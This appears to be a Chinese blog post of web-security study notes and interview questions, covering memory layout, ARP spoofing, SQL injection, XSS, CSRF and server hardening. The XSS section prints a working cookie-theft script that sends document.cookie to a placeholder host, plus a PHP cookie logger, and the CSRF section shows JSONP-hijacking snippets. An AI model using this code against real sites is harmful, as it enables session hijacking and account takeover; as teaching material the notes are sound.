江畔何人初见月,江月何年初照人。
安全工程师的学习规划
在网上看到了一个学习规划,目前来看,还是很不错的,记录于此,逐步加深学习:Web安全工程师(学习规划)
一些题目
题目部分收集于网络,加上自己的一些理解与记录。
tcp与udp的区别
堆和栈的区别
1.分配和管理方式不同
堆:动态分配,其空间的分配和释放都由程序员控制
栈:由编译器自动管理
2.产生碎片不同
堆:频繁的new()/delete()
或malloc()/free()
势必会造成内存空间的不连续,造成大量碎片,使程序效率降低
栈:先进后出的队列,永远不可能有一个内存块从栈中间弹出
3.生长方向不同
堆:向着内存地址增加的方向增长
栈:向着内存地址减小的方向增长,由内存的高地址向低地址方向增长
补充:
1.程序在内存中的存放形式:程序运行时,计算机会在内存区域开辟一段连续的内存块,包括
代码段、数据段和堆栈段三部分,分配如图所示:
解释:
代码段(.text): 文本段(Text Segment),存放程序的机器码和只读数据。一般标记为只读,任何对该区的写操作都会导致段错误(Segmentation Fault)
数据段:
- 已初始化的数据段(.data):保存全局的和静态的已初始化变量
.rdata:
包含程序中全局可访问的只读数据- 未初始化的数据段(.bss):保存全局的和静态的未初始化变量
- 数据段在编译时分配
2.堆(Heap):位于BSS段的上边,存储程序运行时分配的变量
- 大小不固定,可动态扩张/缩减。 由
malloc(), new()
等内存分配函数实现。当调用new()
等函数时,新分配内存被动态添加到堆上(堆扩张);当利用free(), delete()
等函数释放内存时,内存从堆中被剔除(堆缩减) - 堆内存释放由应用程序控制 通常一个
new
要对应一个delete
,如果程序没有释放,程序结束后操作系统会自动回收
3.栈(Stack):函数调用时的临时信息结构,如函数调用传递的参数、函数返回地址、函数的局部变量等
- 程序运行时由编译器按需分配,不需要时自动清除
- 栈的特性: 先进后出(FILO)
- 栈的基本操作:
PUSH操作/压栈:向栈中添加数据,数据放置在栈顶;
POP操作/弹栈:在栈顶移去1个元素,并将栈的大小减1
进程和线程的区别
1.进程:可并发执行的程序在某个数据集合
上的一次执行过程,是操作系统资源分配
、保护
和调度
的基本单位。
2.线程:线程是操作系统进程中能够独立执行
的实体(控制流),是处理调度
和分派
的基本单位。
arp欺骗与预防
1.欺骗
在同一个局域网内,主机之间是通过mac地址来相互识别的,但是网络层过来的数据包是ip地址标识的,所以会调用arp协议将ip地址转换为mac地址,然后根据这个mac地址进行数据包的转发,而arp协议原理大概可以理解为去查一份ip-mac地址映射表。
通常情况下,这个表是没有问题的,但是,若攻击者向被攻击者和网关发送相应的伪造的ARP应答包,更改了两者的ARP表。当被工具这和网关进行通信时,根据已更改的ARP表,所有数据都将流向攻击者。通常攻击者还会做一个流量转发,这样被攻击者才不会察觉到被攻击。
2.防御
- MAC地址绑定
- 使用静态ARP缓存(
arp -s
) - 使用ARP服务器(确保该服务器不被控制)
- 使用ARP欺骗防护软件,如ARP防火墙
- 及时发现进行ARP欺骗的主机,并将其隔离
3.原理(ARP的缺陷):
- 主机收到应答包后不验证自己是否发送过对应的ARP请求
- 不验证该回应包是否可信
- 直接用应答包里的信息替换ARP缓存表中的原有信息
4.检测
- 网络频繁掉线
- 网络突然莫名其妙的慢
- 使用
arp –a
命令发现网关的MAC地址与真实的网关MAC地址不同 - 使用网络嗅探软件发现局域网存在大量ARP响应包
关于sql注入
1.概念:
利用Web应用对后台数据库查询语句处理存在的安全漏洞,攻击者提交一段精心构造的数据库查询代码,根据返回的结果,获得他想得知的数据
2.分类
(1)按照注入点类型进行分类
- 数字型注入
- 字符型注入
(2)按注入方法进行分类
- Boolean-based blind(布尔型注入)
- Time-based blind(基于时间延迟注入)
- Error-based(报错型注入)
- UNION query-based(可联合查询注入)
- Stacked queries(piggy backing,多语句查询注入)
3.SQL注入过程:
- 寻找可能存在SQL注入漏洞的链接
- 测试该网站是否有SQL注入漏洞
- 猜测数据库名称->表->表的列信息(字段)->表内容(数据)
重点关注用户相关的表
获取用户名(管理员用户优先)+密码(如果加密,可能需要其他攻击破解) - 后续攻击:
4.SQL 注入的防范:
- 使用预编译语句,绑定变量
- 对用户提交的数据和输入参数进行严格的过滤:比如过滤逗号,单引号,分号等;如果 select、delete、from、*、union 之类的字符串同时出现多个的话,也要引起重视;最好对用户提交参数的长度也进行判断
- 摒弃动态 SQL 语句,改用存储过程来访问和操作数据。(考虑 Web 程序需要对数据库进行的各种操作,建立存储过程,让程序调用存储过程来完成数据库操作。这样提交的数据将是作为参数传递给存储过程 )
- 使用安全函数
- 最小权限原则:避免 Web 应用直接使用 root、dbowner 等高权限账户直接连接数据库
XSS
1.概念:跨站脚本攻击(Cross Site Script,XSS) :攻击者往Web页面里插入恶意html,JavaScript代码,当用户浏览该网页时,嵌入其中的代码被执行
2.XSS的分类:
反射型XSS(XSS Reflection,非持久性的XSS):简单的将用户输入数据“反射”给浏览器,黑客需要诱导用户点击一个恶意链接
存储式XSS(Stored XSS):攻击脚本永久存储在目标服务器数据库或者文件中,比如黑客写下一篇含有恶意JavaScript代码的博客文章
DOM型XSS:利用客户端浏览器对请求的页面进行DOM渲染(DOM XSS的代码并不需要服务器解析响应,而是浏览器的DOM解析触发)
3.防御
- 对前端输入做过滤和编码:比如只允许输入指定类型的字符,比如电话号格式,注册用户名限制等,输入检查需要在服务器端完成,在前端完成的限制是容易绕过的;
- 对特殊字符进行过滤和转义;
- 对输出做过滤和编码:在变量值输出到前端的HTML时进行编码和转义;
- 给关键cookie使用http-only
- 保护所有敏感的功能,以防被机器人自动执行或者被第三方网站所执行。可采用的技术:session标记(session tokens)、验证码
- 如果web应用必须支持用户提交HTML,安全性将灾难性的下滑。但还是可以做一些事来保护web站点:确认你接收的HTML内容被妥善地格式化,仅包含最小化的、安全的tag(绝对没有JavaScript),去掉任何对远程内容的引用(尤其是CSS样式表和JavaScript)
CSRF
1.跨站请求伪造(Cross Site Request Forgery)原理:
2.CSRF的攻击方式
HTML CSRF
<link href="">
<img src="">
<script src="">
<video src='’>
Backgroud:url('')
JSON HiJacking
构造自定义的回调函数,http://www.b.com/csrf.html
<script>
function hijack(data){console.log(data)};
</script>
<script src="http://www.a.com/json?callback=hijack">
Flash CSRF
通过 Flash 来实现跨域请求
import flash.net.URLRequest;
function get(){
var url = new URLRequest('http://a.com/json?callback=hijack');
url.method='GET';
sendToURL(url);
};
3.CSRF防御
- 通过验证码进行防御
- 通过Referer Check检查请求来源(很容易被绕过)
- 增加请求参数 token
- 用户登录后随机生成一段字符串并存储在Session中
- 在敏感操作中加入隐藏标签,value即为Session中保存的字符串
- 提交请求,服务器拿Session与Token对比
- 更新Token
owasp top 10
Web服务器主机系统的安全配置
1.简单性
主机系统越简单,其安全性就越好。最好把不必要的服务从服务器上卸载掉
2.超级用户权限
- 超级用户权限几乎等同于主机控制权,往往是攻击者最高目标
- 尽量不用超级用户来维护系统。除非必要,否则不给予用户超级权限。非专业人员往往会因操作上的疏忽而使用户权限泄漏
3.本地和远程访问控制
- 访问控制是用来指定哪些用户可以访问系统的特定数据、目录或功能。应该实现一套有效的身份验证机制,并包含用户的日志记录
- 当用户使用服务时,验证身份并记录其行为。如用户出现破坏安全的行为,这些记录将是审核的重要依据
- 应该保护这些日志,以防被攻击者破坏借以逃避追查
4.审计和可审计性
- 维护主机安全是管理员的责任,但管理员并不是完美的。因此,对主机系统的安全审核很重要
- 主要指平时对记录进行审计,在系统生成的大量审计记录中查找可疑数据,查找攻击者或恶意程序的踪迹
5.恢复
- 配置实时或增量备份策略是非常必要的,在紧急关头可以使得服务器的关键数据得以保存,从而可以迅速恢复服务以减少损失,同时便于事后取证的进行,以追查入侵者
Web服务器的安全配置之IIS:
1.IIS的安全安装
- 不要将IIS安装在系统分区上
- 修改IIS的安装默认路径
- 打上Windows和IIS的最新补丁
2.IIS的安全配置
- 删除不必要的虚拟目录:
安装后在C:\Inetpub\wwwroot下默认生成一些目录,包括IISHelp、IISAdmin、IISSamples、MSADC等,可直接删除 - 删除危险的IIS组件:
默认安装的一些IIS组件可能会造成安全威胁,例如SMTP Service和FTP Service、样本页面和脚本,根据需要决定是否删除 - 为IIS中的文件分类设置权限:
除在操作系统里为IIS的文件设置必要的权限外,还要在IIS管理器中设置权限
好的设置策略: 为Web 站点上不同类型的文件都建立目录,然后给它们分配适当权限。例如:静态文件文件夹允许读、拒绝写,脚本文件夹允许执行、拒绝写和读取 - 删除不必要的应用程序映射:
IIS中默认存在很多种应用程序映射,可以对它进行配置,删除不必要的应用程序映射 - 修改IIS日志的存放路径:
IIS日志默认存放在%WinDir%\System32\LogFiles
,黑客非常清楚,所以最好修改存放路径
Internet信息服务->属性->网站目录属性->Web站点->选中“启用日志记录”->属性->“常规属性”->浏览或者直接在输入框中输入日志存放路径即可 - 修改日志访问权限,设置只有管理员才能访问
基于Unix/Linux系统Web服务器安全配置:
- 不以root运行web服务器
- 限制在WEB服务器开账户,定期删除一些用户
- 对WEB服务器上的账户,在口令长度及定期更改方面作出要求,防止被盗用。同时注意保护用户名、组名及相应的口令
- 尽量使FTP、MAIL等服务器与之分开,去掉ftp,sendmail,tftp,NIS, NFS等一些无关应用
- 定期查看日志文件,分析一切可疑事件。在errorlog中出现rm、login、/bin/perl、/bin/sh等之类记录时,服务器可能已经受到一些非法用户的入侵
- 文件访问控制:设置WEB服务器上系统文件的权限和属性,对可公开访问的文档分配一个公用的组,如WWW,并分配只读权限。把所有的HTML文件归属WWW组,由WEB管理员管理WWW组。WEB配置文件仅对WEB管理员有写的权利
- 对不同目录设置不同的属性,如Read、Excute、Write
- 在WEB服务器上去掉一些不用的脚本解释器,例如:当在你的CGI的程序中没用到perl时,就尽量把perl在系统解释器中删除掉
Web 浏览器的安全措施:
- 对浏览器的安全性进行设置:以IE为例,工具Internet选项->安全->自定义级别,根据需要进行设置
- 经常对操作系统打补丁、升级
- 使用漏洞数较少的浏览器,如Firefox
- 经常对浏览器进行升级
- 不要因为好奇而打开一些不信任的网站
对称加密 非对称加密
对称加密:加解密用同一密钥,密钥维护复杂 n(n-1)/2,不适合互联网传输密钥,加解密效率高。应用于加密数据。
非对称加密:公钥推不出私钥,每个用户一个非对称密钥对就可以,适合于互联网传输公钥,但是加密效率低,应用于数字签名及加密。
什么是同源策略(SOP, Same-Origin Policy)
为了防止不同域在用户浏览器中彼此干扰,浏览器对从不同来源(域)收到的内容进行隔离。
浏览器不允许任何旧有脚本访问一个站点的cookie,否则,会话容易被劫持。
只有发布cookie的站点能够访问这些cookie,只有通过该站点返回的页面所包含或加载的JavaScript才能访问cookie。
cookie存在哪里
C:\Users\用户名\AppData\Roaming\Microsoft\Windows\Cookies
工具--文件夹选项--查看--将隐藏被保护的文件的对勾去掉就会看到cookies文件夹。
xss如何盗取cookie
攻击者代码:
<?php
$cookie=$_GET['cookie'];
$time=date('Y-m-d g:i:s');
$referer=getenv('HTTP_REFERER');
$cookietxt=fopen('cookie.txt','a');
fwrite($cookietxt,"time:".$time." cookie:".$cookie." referer:".$referer.""); 注意双引号,容易出错
fclose($cookietxt);
?>
脚本端:
<script>
document.write('<img src="http://ip/cookie.php?cookie='+document.cookie+'" width=0 height=0 border=0 />');
</script>
获取到cookie后,用firebug找到cookie,新建cookie
加入cookie,用referer来提交,无需输入帐号密码直接登录进去!
一些网上的题目
这里,主要先记下来,慢慢完善
对称加密非对称加密?
什么是同源策略?
cookie存在哪里?可以打开吗
xss如何盗取cookie?
tcp、udp的区别及tcp三次握手,syn攻击?
证书要考哪些?
DVWA是如何搭建的?
渗透测试的流程是什么
xss如何防御
IIS服务器应该做哪些方面的保护措施:
虚拟机的几种连接方式及原理
xss有cookie一定可以无用户名密码登录吗?
1.SQL注入。是什么?有哪些应对措施?预处理语句的原理是什么?
2.CSRF。是什么?有哪些应对措施?优缺点?
3.XSS。是什么?分类?有哪些应对措施?这些应对措施的优缺点?
4.列举这几年爆出的较为严重的漏洞。漏洞影响的版本号,漏洞原理是什么?
5.DDoS。是什么?有哪些分类?有哪些应对措施。
6.sqlmap源码读过吗?讲讲。
7.从输入网址到看到响应内容的整个过程发生了什么?越详细越好。
8.渗透测试流程。